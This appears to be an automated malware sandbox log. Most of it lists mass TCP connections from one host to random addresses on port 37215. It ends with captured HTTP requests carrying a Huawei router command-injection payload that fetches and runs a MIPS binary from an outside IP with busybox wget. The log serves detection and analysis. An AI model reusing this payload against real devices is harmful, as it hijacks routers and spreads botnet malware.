Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.44.122.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.147.49.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.33.196.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.166.109.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.206.185.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.98.70.51:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.128.191.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.102.236.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.225.142.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.1.88.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.225.233.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.120.54.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.181.208.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.213.84.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.218.104.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.149.114.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.178.197.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.177.124.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.185.73.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.240.251.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.25.9.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.131.109.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.224.162.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.179.229.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.96.248.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.136.31.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.1.234.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.54.89.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.18.31.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.69.69.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.166.190.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.180.120.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.88.216.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.79.142.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.83.81.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.203.123.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.31.199.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.113.238.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.189.242.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.156.131.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.143.180.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.123.233.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.98.170.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.82.70.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.52.235.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.23.88.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.54.11.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.205.112.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.106.5.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.87.218.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.120.3.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.228.67.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.101.56.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.213.223.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.150.88.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.185.75.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.23.216.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.202.83.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.176.152.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.80.233.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.227.5.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.153.179.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.64.87.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.198.80.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.48.207.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.151.200.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.208.53.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.227.164.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.60.61.253:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.125.143.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.123.161.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.91.85.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.193.202.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.62.83.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.24.122.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.253.101.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.87.34.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.213.192.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.89.68.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.112.231.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.203.126.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.234.94.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.147.53.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.182.200.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.18.231.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.181.102.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.250.4.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.5.115.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.141.227.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.17.89.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.70.6.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.112.3.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.104.105.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.60.183.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.120.78.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.152.88.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.245.244.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.112.54.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.226.52.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.198.181.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.188.25.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.197.253.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.161.68.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.190.138.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.32.118.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.53.216.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.165.23.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.144.18.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.136.113.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.222.178.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.193.187.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.195.3.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.41.172.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.138.234.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.195.130.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.180.176.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.41.30.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.159.204.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.10.1.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.54.131.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.111.183.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.29.41.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.246.196.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.89.48.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.121.170.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.32.176.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.124.31.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.71.142.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.234.16.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.123.4.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.102.209.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.56.232.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.253.214.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.30.40.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.33.184.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.32.220.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.135.219.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.140.197.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.9.123.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.212.24.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.38.215.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.143.215.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.38.47.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.212.27.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.165.9.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.37.45.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.244.144.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.174.158.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.42.36.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.66.19.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.97.16.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.192.158.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.205.90.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.233.218.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.49.177.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.129.5.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.159.132.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.18.223.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.193.122.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.251.134.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.9.161.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.188.254.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.33.220.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.202.157.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.208.129.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.188.189.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.172.129.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.42.180.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.234.215.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.225.124.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.79.144.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.177.78.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.21.85.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.69.163.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.2.168.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.120.221.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.97.62.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.217.56.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.163.62.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.169.39.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.187.183.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.190.252.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.141.134.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.201.29.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.175.215.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.153.46.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.123.151.21:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.212.159.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.40.250.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.91.177.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.114.97.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.125.255.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.237.24.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.228.252.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.51.209.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.77.237.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.125.7.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.215.52.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.35.70.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.141.156.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.243.47.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.85.77.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.3.221.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.118.5.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.247.38.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.193.192.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.133.202.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.150.247.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.201.208.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.243.201.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.108.65.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.184.183.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.31.110.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.222.185.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.178.185.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.240.37.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.112.64.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.93.255.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.101.100.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.251.17.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.60.141.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.61.133.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.19.52.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.196.230.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.113.177.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.248.157.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.79.175.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.177.110.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.6.71.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.49.205.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.105.98.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.39.169.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.202.221.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.117.251.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.209.242.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.64.33.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.254.188.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.125.104.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.139.112.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.154.122.97:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.213.200.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.124.82.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.188.204.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.22.254.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.0.196.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.82.56.21:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.210.62.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.107.237.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.85.77.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.32.107.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.135.49.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.83.213.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.159.25.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.86.193.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.175.54.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.100.132.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.132.49.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.225.82.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.197.93.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.183.176.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.185.36.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.111.1.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.172.195.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.164.126.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.0.67.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.241.12.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.216.110.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.47.145.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.247.239.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.140.205.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.111.125.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.175.62.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.1.34.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.68.93.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.105.4.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.35.208.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.113.165.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.134.141.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.1.56.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.57.194.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 41.229.165.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 197.228.135.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:57653 -> 156.108.82.138:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * 